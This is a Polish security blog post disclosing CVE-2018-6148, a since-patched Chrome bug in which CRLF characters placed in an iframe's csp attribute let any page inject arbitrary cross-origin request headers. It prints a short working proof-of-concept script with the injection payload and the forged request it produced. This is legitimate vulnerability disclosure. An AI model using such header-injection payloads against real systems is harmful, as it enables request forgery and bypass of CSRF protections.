Żądny wiedzy? Wbijaj na Mega Sekurak Hacking Party w maju! -30% z kodem: majearly

Dodawanie dowolnych nagłówków zapytania w Chrome – opis podatności CVE-2018-6148

27 czerwca 2018, 19:03 | Teksty | 1 komentarz

W tym krótkim artykule, opisuję błąd CVE-2018-6148, naprawiony w Chrome 67 w wersji z dnia 6 czerwca 2018. Błąd ten pozwalał na dodawanie dowolnych nagłówków zapytania HTTP w zapytaniach cross-domenowych. Oznaczało to, że dowolna strona webowa mogła ustawić treść takich nagłówków jak np. X-CSRF-Token, Referer, User-Agent, Host czy Cookie. Inne strony webowe, z kolei, przyjmują za pewnik, że nikt nie może w przeglądarce sobie sam tych nagłówków ustawiać – co może prowadzić do problemów bezpieczeństwa.

Niedługo przed moim odkryciem, bardzo podobny błąd znalazł człowiek znany jako @insertScript we wtyczce Adobe Reader. Wydawało się, że w dzisiejszych czasach w samych przeglądarkach takie sytuacje się już nie zdarzają… ale rzeczywistość czasem każe weryfikować taki pogląd :)

Szczegóły techniczne

Pewnego dnia, pracując nad jakimś zupełnie innym tematem, zauważyłem, że w przeglądarce element <iframe> może przyjmować dodatkowy atrybut jakim jest csp. Nie kojarzyłem wcześniej możliwości ustawienia tego atrybutu, choć nazwa wyraźnie wskazuje, że będziemy mieli do czynienia z Content-Security-Policy. Zacząłem więc testować, co mogę za pomocą tego atrybutu zrobić (Rys 1.).

Rys 1. Próba ustawienia róznych wartości dla atrybutu csp

Rys 1. Próba ustawienia róznych wartości dla atrybutu csp

Widać, że – zgodnie z oczekiwaniami – wartość tego atrybutu powinna być równa poprawnej polityce CSP. Gdy ustawimy dodatkowo atrybut src dla ramki, przeglądarka wygeneruje następujące zapytanie:

GET / HTTP/1.1
Host: www.google.com
upgrade-insecure-requests: 1
sec-required-csp: script-src google.com
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
accept-encoding: gzip, deflate, br
accept-language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
cookie: [...]

Polityka, której użyłem, pojawia się w wartości dodatkowego nagłówka zapytania, nazwanego Sec-Required-CSP. Tę nazwę można było łatwo wygooglać i dowiedzieć się, że dotyczy standardu CSP Embedded Enforcement. Nie wchodząc mocno w szczegóły, ten nowy standard (będący nadal w wersji roboczej) umożliwia ramce nadrzędnej zdefiniowania oczekiwanej polityki CSP dla ramki <iframe>. Strona, znajdująca się w <iframe>, może taką politykę zaakceptować, ale może ją też odrzucić. Założenie jest takie, że standard ten może umożliwić nałożenie pewnych ograniczeń np. na skrypty reklamowe, pod kątem tego, do czego będą miały dostęp.

Wracając jednak do atrybutu csp: jak widać powyżej, zawartość tego atrybutu jest odbijana w nagłówku zapytania. Prosi się więc o to, by wstrzyknąć tutaj znaki nowej linii i wyjść do nowego nagłówka (tzw. CRLF Injection). Sprawdźmy to:

<!doctype html><meta charset=utf-8>.
<script>
 const ifr = document.createElement('iframe');
 ifr.src = 'http://bntk.pl/';
 ifr.csp = 'script-src\r\nX-CSRF-Token: 1234\r\nUser-Agent: Firefox\r\nCookie: abc\r\nHost: absolutely-random-host.google';
 
 document.body.appendChild(ifr);
</script>

Powyższy kod spowodował wygenerowanie zapytania:

GET / HTTP/1.1
Host: absolutely-random-host.google
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Required-CSP: script-src
X-CSRF-Token: 1234
User-Agent: Firefox
Cookie: abc
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7

Trzy nagłówki zapytania zostały podmienione!

Reakcja

Google bardzo szybko zareagowało na błąd: 23 maja zgłosiłem, a już 6 czerwca poprawka znalazła się w wersji stabilnej. Mike West, jeden z członków zespołu bezpieczeństwa Chrome’a, podsumował w swoim tweecie ten błąd jako:

This was pretty embarrassing. Sorry, internet!

Jeśli jeszcze tego nie zrobiliście, to aktualizujcie Chrome’a do najnowszej wersji!

— Michał Bentkowski, pentester i trener w Securitum

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Fh6dd

    Ciekawe zwłaszcza w przypadku gwt, wersji i konfiguracji które można było jakiś czas temu często spotykać. Nagłówki gwt są na Black liście w Flash playera chyba nawet i dlatego ostatnio przeczytałem w raporcie ze brak tokenow csrf to poziom inforamcyjny – polskie konsuntalty , tylko konkrety . Dramat. Wracając do tematu w gest był taki myk że wartość nagłówka była bez znaczenia

    Odpowiedz

Odpowiedz na Fh6dd